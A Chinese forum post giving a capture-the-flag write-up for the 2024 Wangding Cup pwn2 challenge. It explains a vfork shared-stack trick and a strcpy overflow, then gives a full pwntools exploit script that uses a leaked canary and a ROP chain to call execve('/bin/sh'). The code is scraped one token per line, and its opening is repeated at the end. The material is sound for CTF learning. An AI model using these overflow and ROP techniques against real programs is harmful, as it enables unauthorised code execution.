-
-
[分享]2024网鼎杯玄武组pwn2题目详解
-
发表于: 2025-2-14 11:07 8166
-
做这道题网上找的wp很多地方说的很笼统,自己就记录了一下解题过程
解题思路:
1.打开ida,发现程序没有符号表没找到main函数,然后先执行一下程序看看:
2.发现输出了一个gift,应该是类似于是canary的值,在ida中找到gift字符串然后查看交叉引用找到了下面这个函数然后在gdb中下断点查看bt调用栈:
3.发现这个输出gift的函数是0x401866处调用的,这段程序3个函数,第一个函数是做一些初始化工作,第二个函数调用了vfork函数创建了子进程,然后子进程返回执行了第三个函数然后在第三函数中执行了exit函数退出,主进程执行read函数在输入描述符读取一个字节,然后比对了rbp-0x28,如果不是1则puts一句It's impossible ,然后退出,否则验证完canary后retn:
(注:vfork函数创建一个子进程,父进程等待子进程结束以后才继续运行,)
4.经过分析发现第三个函数是子进程执行的,第二个函数是主进程执行的,唯一的交叉点就在rbp-0x28这,因为vfork调用是公用的栈空间,子进程是在第三函数内部执行exit结束的,但是调用第三函数的时候返回地址已经压栈了,也就是说,如果rbp-0x28=1的话,主进程会返回到第三个函数下面的指令:
5.分析第三函数,怎么能实现让主进程rbp-0x28=1,第三函数使用栈空间0x50,然后使用read函数读取了0x40个字节的输入,第二个函数使用了0x30个字节的栈空间,因为vfork公用栈,所以,虽然read函数没有溢出风险,但是我们可以控制rbp-0x28=1
6.接下来就是分析跳转过去以后的代码,同样的套路,使用vfork执行子进程,主进程如果rbp-0x11c=0x11111111那么ret返回,子进程read读取了0x100个字节也没有溢出风险,但是,下面这个函数中调用了strcopy函数发生了溢出,分析发现strcopy函数从read读取的0x100字节的位置开始往自己栈空间复制,但是自己栈帧只有0x60大小,所以会溢出,但是执行完strcopy后调用了exit退出,我们无法控制执行流程,但是可以覆盖上层栈帧的一些内容比如rbp-0x11c的值和read的参数
7.由于主线程检查rbp-0x11c不等于0x11111111的时候会重复调用vfork子进程,所以我们覆盖read参数是有意义的,我们可以在第一次执行子进程时覆盖read的size参数,那么第二次调用时它就会溢出,(注:因为canary的值的最后一个字节经常为0x00所以strcpy的时候会截断我们后续的构造,所以我们控制执行流程不能以strcpy后的值为准,payload需要以strcpy覆盖rbp-0x11c跳出循环,然后以read的溢出构造canary和后续的ret流程):
from
pwn
import
*
#context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode parent\n b *0x401953\n b *0x401995\n c\n c\n set {long}($rbp-0x28)=1\n b *0x")
#sh = process("./pwn")
#sh.sendafter("leave your name","A"*64)
#sh.sendafter("Wanna return?","B")
#sh.interactive()
rax
=
0x0000000000450277
rdi
=
0x000000000040213f
rsi
=
0x000000000040a1ae
rdxrbx
=
0x0000000000485feb
sh_addr
=
0x00000000004C5000
read
=
0x000000000044F810
syscall
=
0x41ac26
p
=
process(
'/home/kali/Desktop/pwn'
)
#p=gdb.debug("./pwn","b *0x000000000040190C\n b *0x401953\n b *0x4019B0\n b *0x40189D\n b *0x40190C\n set follow-fork-mode parent\n ")
p.recvuntil(b
'gift: '
)
gift
=
p.recv(
18
)
gift
=
int
(gift,
16
)
p.sendafter(
'leave your name'
,b
'a'
*
0x28
+
p64(
1
))
p.sendafter(
'Wanna return?'
,
'A'
)
p.sendafter(
"once again?"
,b
'A'
*
0x100
)
payload
=
b
'A'
*
0x60
payload
+
=
p64(
0x1111111111111111
)
payload
+
=
b
'B'
*
0xa0
payload
+
=
p64(gift)
payload
+
=
b
'C'
*
8
payload
+
=
p64(rax)
+
p64(
0x0
)
+
p64(rdxrbx)
+
p64(
0x10
)
*
2
+
p64(rsi)
+
p64(sh_addr)
+
p64(rdi)
+
p64(
0x0
)
+
p64(syscall)
payload
+
=
p64(rax)
+
p64(
0x3B
)
+
p64(rdi)
+
p64(sh_addr)
+
p64(rsi)
+
p64(
0x0
)
+
p64(rdxrbx)
+
p64(
0x0
)
*
2
+
p64(syscall)
p.sendafter(
"once again?"
,payload)
p.send(b
'/bin/sh'
)
p.interactive()
from
pwn
import
*
#context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode parent\n b *0x401953\n b *0x401995\n c\n c\n set {long}($rbp-0x28)=1\n b *0x")
#sh = process("./pwn")
#sh.sendafter("leave your name","A"*64)
#sh.sendafter("Wanna return?","B")
#sh.interactive()
rax
=
0x0000000000450277